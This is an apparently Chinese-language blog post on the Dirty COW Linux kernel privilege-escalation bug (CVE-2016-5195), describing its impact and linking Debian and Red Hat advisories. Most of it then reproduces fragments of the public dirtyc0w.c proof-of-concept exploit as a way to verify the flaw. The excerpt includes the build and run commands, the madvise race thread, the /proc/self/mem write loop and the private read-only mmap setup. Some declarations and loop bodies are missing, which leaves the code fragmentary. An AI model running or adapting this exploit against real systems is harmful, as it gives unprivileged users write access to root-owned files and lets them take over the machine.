Dirty Cow (CVE-2016-5195) 是 Linux Kernel 中的一个权限提升漏洞。Linux 内核内存子系统处理私有只读存储器映射的写入时复制 (COW) 机制被发现了一个冲突条件。这个漏洞存在于 2.6.22以后的版本 (在 2007 年发布),已经在 2016 年 10 月 18 日修复。
该漏洞影响
- 没有权限的本地用户可以使用此漏洞获取写访问权限,修改只读内存映射,从而增加他们在系统上的特权。
- 该漏洞允许攻击者使用本地系统帐户修改磁盘上的二进制文件,绕过标准的权限机制,这些权限机制通常用于防止修改没有适当的权限集。
![Dirty%20COW%20CVE-2016-5195.png](http://7xkk1o.com1.z0.glb.clouddn.com/Dirty%20COW%20CVE-2016-5195.png)
Debian及Redhat分别就此漏洞发布公告
Debian漏洞公告
Debian: https://security-tracker.debian.org/tracker/CVE-2016-5195
Redhat漏洞公告
Redhat: https://access.redhat.com/security/cve/cve-2016-5195
更多内容请查阅:
https://bugzilla.redhat.com/show_bug.cgi?id=1384344
http://seclists.org/bugtraq/2016/Oct/43
脏牛Dirty COW漏洞验证
####################### dirtyc0w.c ####################### |
# echo this is not a test > foo |
-r-----r-- 1 root root 19 Oct 20 15:23 foo |
$ gcc -lpthread dirtyc0w.c -o dirtyc0w |
$ ./dirtyc0w foo m00000000000000000 |
####################### dirtyc0w.c ####################### |
void *madviseThread(void *arg) |
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 |
> This is achieved by racing the madvise(MADV_DONTNEED) system call |
> while having the page of the executable mmapped in memory. |
c+=madvise(map,100,MADV_DONTNEED); |
printf("madvise %d\n\n",c); |
void *procselfmemThread(void *arg) |
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 |
> The in the wild exploit we are aware of doesn't work on Red Hat |
> Enterprise Linux 5 and 6 out of the box because on one side of |
> the race it writes to /proc/self/mem, but /proc/self/mem is not |
> writable on Red Hat Enterprise Linux 5 and 6. |
int f=open("/proc/self/mem",O_RDWR); |
for(i=0;i<100000000;i++) { |
You have to reset the file pointer to the memory position. |
c+=write(f,str,strlen(str)); |
printf("procselfmem %d\n\n", c); |
int main(int argc,char *argv[]) |
You have to pass two arguments. File and Contents. |
You have to open the file in read only mode. |
f=open(argv[1],O_RDONLY); |
You have to use MAP_PRIVATE for copy-on-write mapping. |
> Create a private copy-on-write mapping. Updates to the |
> mapping are not visible to other processes mapping the same |
> file, and are not carried through to the underlying file. It |
> is unspecified whether changes made to the file after the |
> mmap() call are visible in the mapped region. |
You have to open with PROT_READ. |
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); |
printf("mmap %x\n\n",map); |
You have to do it on two threads. |
pthread_create(&pth1,NULL,madviseThread,argv[1]); |
pthread_create(&pth2,NULL,procselfmemThread,argv[2]); |
You have to wait for the threads to finish. |
}